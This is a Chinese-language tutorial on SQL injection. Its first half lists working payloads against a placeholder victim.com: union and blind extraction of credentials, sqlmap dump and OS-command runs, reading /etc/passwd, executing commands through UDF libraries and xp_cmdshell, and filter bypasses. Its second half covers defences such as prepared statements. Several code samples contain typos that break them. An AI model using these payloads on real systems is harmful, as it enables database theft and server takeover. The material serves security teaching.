注入攻击

Akamai 在 2019 年研究表明 65.1% 的 Web 应用程序攻击来自 SQL 注入

SQL 注入的两种分类:

  1. 盲注:在服务器没有错误回显时完成的注入攻击。

  2. Timing Attack:利用 MySQL 的 BENCHMARK() 函数。

数据库攻击技巧

常见攻击技巧

我们假设后台的服务存在这样一个没有校验的语句:

1
2
$id = $_GET["id"];
$sql = "select title,description,body from items where id=".$id;

SQL 注入时基于数据库的一种攻击。不同的数据库有着不同的功能、不同的语法和函数:

  1. SQL 注入可以猜解出数据库的对应版本,比如下面这段 Payload,如果 MySQL 的版本是 4,则会返回 TRUE:

    1
    
    http://victim.com/index.php?id=5 and substring(@@version, 1, 1)=4
    
  2. 测试表名 admin 是否存在,列名 passwd 是否存在:

    1
    2
    3
    
    http://victim.com/index.php?id=5 union all select 1,2,3 from admin
    
    http://victim.com/index.php?id=5 union all select 1,2,passwd from admin
    
  3. 想要进一步猜解除 usernamepassword 具体的值,可以通过判断字符的范围读出来:

    1
    2
    
    http://victim.com/index.php?id=5 and ascii(substring((select concat(username, 0x3a, passwd) from users limit 0,1),1,1))>64
    ....
    

    可见利用一个 sql 注入的过程非常繁琐,所以非常有必要使用一个自动化的工具来帮助完成整个过程,sqlmap 就是一个非常好的自动注入工具:

    1
    
    python sqlmap.py -u "http://victim.com.index.php?id=5" --dump -T users
    
  4. 在 MySQL 中,可以通过 LOAD_FILE() 读取文件系统,并且通过 INTO DUMPFILE 写入本地文件。另外,如果要将文件读出后,再把结果返还给攻击者,可以使用下面的技巧:

    1
    2
    3
    
    create table potatoes(line BLOB);
    select 1,1,hex(LOAD_FILE('/etc/passwd')),1,1 into DUMPFILE '/tmp/potatoes';
    LOAD DATA INFILE '/tmp/potatoes' into table potatos;
    

上面写入文件的技巧,经常被用于导出一个 webshell,为攻击者的进一步攻击做铺垫。

因此再设计数据库安全方案时,可以禁止数据库用户具备操作文件的权限。

命令执行

除了可以通过导出 webshell 间接地执行命令外,还可以利用 “用户自定义函数 UDF” 的技巧来执行命令。大多数数据库一般都支持从本地文件系统中导入一个链接库文件作为自定义函数。

通过以下的语法就可以简历 UDF:

1
create function f_name returns integer soname shared_library;

安全研究者们发现通过 lib_mysqludf_sys 中提供的几个函数(主要是 sys_evalsys_exec())就可以执行系统命令。在攻击过程中,将 lib_mysqludf_sys.so 上传到数据库能访问的路径下,并且创建了 UDF 之后就可以执行系统命令了。这个链接库主要有以下四个函数:

  • sys_eval():执行任意命令,并且将输出返回;
  • sys_exec():执行任意命令。并且将退出码返回;
  • sys_getsys_set():获取、修改(创建)一个环境变量;

共享链接库可以通过开源信息获得:

1
wget --no-check-certificate https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so

sqlmap 中也集成了这个功能:

1
python sqlmap.py -u "http://victim.com.index.php?id=5" --os-cmd id -v 1

UDF 不仅仅是 MySQL 的特性,其他数据库也有着类似的功能。利用 UDF 的功能实施攻击的技巧也大同小异。比如:

  • 在 MS SQL-Server 中,可以直接使用存储过程 xp_cmdshell 执行命令;
  • 在 Oracle 数据库中,如果服务器同时还有 Java 环境,那么也可能造成命令执行。

一般来说,在数据库中执行系统命令,要求具有较高的权限。

攻击存储过程

存储过程为数据库提供了强大的功能,它与 UDF 很像,但它必须使用 CALL 或者 EXECUTE 来执行。在注入攻击的过程中,存储过程将为攻击者提供很大的便利。

在微软 SQL-Server 中 xp_cmdshell 可谓是臭名昭著了,它在 2000 版本中是默认开启的,但在 2005 以及以后的版本中则被默认禁止了:

1
EXEC master.dbo.xp_cmdshell 'cmd.exe dir C:'

但是如果当前数据库用户拥有 sysadmin 权限,则可以使用 sp_configure (2005 与 2008 版本)或 sp_addextendedproc(2000 版本)重新开启它:

1
2
3
4
5
EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

除了 xp_cmdshell 可以用于执行命令外。还有其他一些有用的函数。比如 xp_regread 可以操作注册表等等。

SQL Column Truncation

在 MySQL 的配置选项中,有一个 sql_mode 选项。以下命令开启 strict 模式:

1
sql-mode="STRICT_TRANS_TABLE,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

当 MySQL 的 sql-mode 设置为 default 时(即没有开启 STRICT_ALL_TABLES),MySQL 对于超长值只会提示 warning 而不是 error,这可能导致一些截断问题。

如果用户在数据库中插入一个之前已经存在的数据,则可能造成一些越权访问。

防御 SQL 注入

一些绕过技巧

SQL 注入的防御并不是一件简单的事情,开发者往往会走入一些误区。比如只对用户输入做一些 escape 处理,这是不够的。比如:

1
2
3
4
$rawsql = "SELECT id,name,mail,cv,blog,twitter FROM register WHERE id ="
$id = mysql_real_escape_string($_GET['id']);

$sql = $rawsql.$id

当攻击者构造如下的注入代码时,仍然会注入成功:

1
http://victim.com/index.php?id=12,AND,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6,from,mysql.user,whrere,user=substring_index(current_user(),char(64),1)

这是因为 php_real_escape_string() 这个函数仅仅会转义:

  • '"\r\nNULLCtrl-Z

那么是否增加一些比如空格之类的过滤字符,就可以了呢?基于黑名单的方法总是存在问题的。比如下面就是几个不需要使用空格的例子:

1
2
3
SELECT/**/passwd/**/from/**/user/**/

SELECT(passwd)FROM(user)

不需要引号,可以用十六进制编码字符串:

1
SELECT passwd FROM users WHERE user=0x61646D696E

那么应该如何防御 SQL 注入呢?

使用预编译

防御 SQL 注入的最佳方式就是:使用预编译语句绑定变量

比如在 JAVA 中使用预编译的 SQL 语句:

1
2
3
4
5
6
String custname = requeset.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";

Preparedstatement patmt = connection.prepareStatement( query );
patmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();

在 PHP 中绑定变量的示例:

1
2
3
4
5
6
7
8
$query = "INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_parse("sss", $val1, $val2, $val3);

$val1 = $_GET["Name"];
$val2 = $_GET["CountryCode"];
$val3 = $_GET["District"];
$stmt->execute();

使用存储过程

除使用预编译语句外,我们还可以使用安全的存储过程对抗 SQL 注入。这个方法与前者类似,区别就是存储过程需要将 SQL 语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题。因此应该尽量避免在存储过程内使用动态的 SQL 语句。

下面那是一个在 Java 中调用存储过程的例子:

1
2
3
4
5
6
7
8
9
String custname = request.getParameter("customerName");
try {
    CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
    ca.setString(1, custname);
    Result result = cs.executeQuery();
    // ....
} catch (SQLException se) {
    // ....
}

检查数据类型

检查输入类型,在很大程度上可以对抗 SQL 注入。

比如下面这段代码,就限制了输入数据的类型只能为整数:

1
2
3
4
<?php
    settype($offset, "integer");
	$query = "SELECT id,name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
?>

使用安全函数

一般来说,各种 WEB 语言都实现了一些编码函数,可以帮助对抗 SQL 注入。各种数据库厂商都对这些编码函数进行了一些 “指导”。

其他注入攻击